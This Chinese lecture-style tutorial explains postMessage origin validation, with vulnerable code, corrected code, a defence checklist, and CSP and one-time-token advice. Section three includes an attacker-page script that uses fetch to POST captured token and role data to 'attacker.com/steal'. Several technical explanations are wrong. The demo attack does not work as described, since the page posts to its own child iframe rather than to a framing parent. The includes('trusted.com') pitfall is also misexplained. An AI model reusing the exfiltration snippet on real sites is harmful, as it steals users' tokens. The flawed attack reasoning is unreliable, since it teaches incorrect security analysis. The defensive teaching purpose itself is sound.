利用 postMessage 进行跨源攻击:未验证 origin 导致的敏感信息泄露(讲座版)
各位同学、开发者朋友们,大家好!今天我们来深入探讨一个在前端开发中非常常见但极易被忽视的安全问题——利用 postMessage 进行跨源攻击,尤其是由于未验证 origin 导致的敏感信息泄露。
这是一个典型的“看似安全实则危险”的场景。我们很多人在使用 postMessage 时,可能只关注了消息内容本身,却忽略了发送方的身份验证——也就是那个至关重要的 origin 字段。一旦忽略它,就可能让恶意网站通过伪造消息,窃取用户数据,甚至操控你的应用逻辑!
一、什么是 postMessage?
postMessage 是 HTML5 提供的一个跨窗口通信 API,允许不同源(origin)的页面之间传递消息。这在以下场景中非常有用:
- iframe 与父页面通信
- 多标签页(tab)间通信
- Web Worker 与主线程通信
- 第三方嵌入组件(如支付 SDK、广告脚本)与主站交互
基本语法如下:
// 发送消息
otherWindow.postMessage(message, targetOrigin);
// 接收消息
window.addEventListener('message', function(event) {
// 验证 origin
if (event.origin !== 'https://trusted.example.com') {
console.warn('不信任的来源:', event.origin);
return;
}
// 处理消息
console.log('收到消息:', event.data);
});
✅ 关键点:
targetOrigin是目标源(例如'https://trusted.example.com'),而event.origin是事件来源的协议+域名+端口。
二、为什么 origin 验证如此重要?
如果你不验证 event.origin,相当于你在说:“任何人都可以给我发消息,我都会听。”
这就打开了一个巨大的安全隐患:跨源消息伪造攻击(Cross-Origin Message Forgery)。
攻击原理简述:
- 恶意网站(如
http://evil.com)嵌入你的可信页面(比如<iframe src="https://yourapp.com/dashboard">)。 - 它监听来自你页面的消息(通过
window.addEventListener('message', ...))。 - 当你页面向它发送消息(比如用户登录状态、API token、用户偏好设置等),它就能捕获这些信息。
- 如果你还未对
origin做校验,就会直接处理该消息,导致敏感数据外泄。
🔐 正确做法:永远不要相信任何未经验证的
origin!
三、真实案例演示:未验证 origin 导致的敏感信息泄露
让我们用一段代码模拟一个典型漏洞场景。
场景描述:
假设你有一个单页应用(SPA),用户登录后会在本地存储一个 JWT Token,并且有一个 iframe 嵌入第三方服务(如分析工具)。你希望通过 postMessage 向这个 iframe 发送当前用户的权限级别。
❌ 错误实现(存在严重漏洞):
// main.js - 主页面逻辑
function sendUserInfoToIframe() {
const iframe = document.getElementById('third-party-iframe');
const userToken = localStorage.getItem('jwtToken'); // 敏感信息!
const role = localStorage.getItem('userRole');
// ❗️错误:没有验证 origin,直接发送
iframe.contentWindow.postMessage({
type: 'USER_INFO',
token: userToken,
role: role
}, '*'); // 使用通配符 '*' 表示接受任意来源 —— 危险!
}
// 监听来自 iframe 的响应(无 origin 校验)
window.addEventListener('message', function(event) {
console.log('接收到 iframe 的响应:', event.data); // 可能包含敏感信息
});
此时,如果某个恶意网站(如 http://evil.com)插入一个 iframe:
<!-- evil.com/index.html -->
<iframe src="https://yourapp.com/dashboard" id="myIframe"></iframe>
<script>
window.addEventListener('message', function(event) {
// ❗️恶意网站监听并获取敏感数据
if (event.data && event.data.type === 'USER_INFO') {
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(event.data)
});
}
});
</script>
👉 结果:即使你的页面设置了 * 作为 targetOrigin,恶意网站也能监听到你的敏感信息(token 和 role)!
⚠️ 这不是理论攻击,而是真实世界中常见的 XSS + postMessage 组合攻击方式之一。
四、如何正确使用 postMessage?—— 最佳实践清单
下面是一个完整的防御策略表格,建议收藏!
| 步骤 | 描述 | 示例代码 |
|---|---|---|
| 1️⃣ 发送时指定精确的 targetOrigin | 不要用 *,必须明确目标源 |
iframe.contentWindow.postMessage(data, 'https://trusted-service.com') |
| 2️⃣ 接收时严格校验 origin | 必须检查 event.origin 是否合法 |
if (event.origin !== 'https://trusted-service.com') return; |
| 3️⃣ 对消息类型做白名单过滤 | 不要盲目信任 data 内容 | if (!['LOGIN_SUCCESS', 'USER_INFO'].includes(event.data.type)) return; |
| 4️⃣ 使用加密或签名机制(高级防护) | 对于高敏感数据,可考虑签名或加密 | signMessage(data, secretKey) |
| 5️⃣ 记录日志 & 异常告警 | 监控非法 origin 请求 | console.error('非法来源:', event.origin) |
✅ 正确实现示例(推荐写法):
// main.js
const trustedOrigins = new Set([
'https://trusted-service.com',
'https://analytics.example.com'
]);
function sendUserInfoToIframe() {
const iframe = document.getElementById('third-party-iframe');
const userToken = localStorage.getItem('jwtToken');
const role = localStorage.getItem('userRole');
// ✅ 正确:指定具体 origin,而非 '*'
iframe.contentWindow.postMessage({
type: 'USER_INFO',
token: userToken,
role: role
}, 'https://trusted-service.com');
}
window.addEventListener('message', function(event) {
// ✅ 第一步:验证 origin
if (!trustedOrigins.has(event.origin)) {
console.warn(`[SECURITY] 不信任的来源: ${event.origin}`);
return;
}
// ✅ 第二步:验证消息类型
if (event.data.type !== 'USER_INFO') {
console.warn('[SECURITY] 未知消息类型:', event.data.type);
return;
}
// ✅ 第三步:处理合法消息
console.log('安全接收到来自可信源的消息:', event.data);
});
这样即便恶意网站尝试注入 iframe 并伪造消息,也会因为 origin 不匹配而被拦截。
五、常见误区与陷阱
很多开发者会犯以下几个低级错误,务必注意:
❌ 误区 1:认为 “只要自己控制 iframe 就安全”
很多人以为只要 iframe 是自己的,就不会出事。但现实是:
- 用户可以在浏览器地址栏手动输入
evil.com并嵌入你的页面; - 或者通过 XSS 注入 iframe;
- 甚至某些 CDN 缓存的静态资源也可能被劫持。
❌ 误区 2:混淆 origin 和 hostname
// ❌ 错误:只比较 hostname,忽略协议和端口
if (event.origin.includes('trusted.com')) { ... } // 危险!可能匹配 http://trusted.com 和 https://trusted.com
✅ 正确做法:始终比较完整的 origin 字符串(含协议和端口)。
❌ 误区 3:以为 postMessage 自带安全机制
这是最致命的误解!postMessage 本身没有任何安全机制,完全依赖开发者实现验证逻辑。
🧠 记住一句话:PostMessage 是一把双刃剑,用得好保护你,用不好伤害你。
六、进阶防护建议:不只是 origin 校验
对于金融类、医疗类、身份认证类系统,仅靠 origin 校验还不够。可以结合以下措施增强安全性:
1. 使用一次性令牌(One-Time Token)
每次通信前生成随机 token,附带在消息中,对方需返回相同 token 才视为有效。
let currentToken = Math.random().toString(36).substring(2, 15);
function sendSecureMessage() {
const iframe = document.getElementById('iframe');
iframe.contentWindow.postMessage({
type: 'AUTH_REQUEST',
token: currentToken
}, 'https://trusted-service.com');
}
window.addEventListener('message', function(event) {
if (event.origin !== 'https://trusted-service.com') return;
if (event.data.token !== currentToken) {
console.warn('无效 token,拒绝处理');
return;
}
// ✅ 真正的安全通信开始...
});
2. 使用加密传输(如 AES + HMAC)
对敏感字段加密后再发送,接收方解密后验证完整性。
3. 设置 Content Security Policy (CSP)
防止恶意 iframe 注入,限制哪些源可以嵌入你的页面:
Content-Security-Policy: frame-ancestors 'self' https://trusted-service.com;
七、总结:安全不是选择题,而是必答题
今天我们从理论到实战,一步步拆解了 postMessage 中因未验证 origin 而引发的敏感信息泄露风险。重点回顾如下:
| 关键点 | 说明 |
|---|---|
| origin 必须校验 | 否则等于开放大门给所有来源 |
不要用 * |
除非你真的愿意让任何人给你发消息 |
| 白名单机制 | 用 Set 或数组维护可信来源列表 |
| 消息结构也要校验 | 类型、字段、签名都要防篡改 |
| 构建纵深防御体系 | CSP + token + 加密 = 更强保障 |
💡 安全不是事后补丁,而是设计之初就必须考虑的问题。每一次调用
postMessage,都请问自己一句:“我是怎么知道发信人是谁的?”
希望今天的分享能帮助你在今后的项目中避免这类低级但致命的漏洞。记住:代码写得再漂亮,不如安全意识到位!
谢谢大家!欢迎提问交流~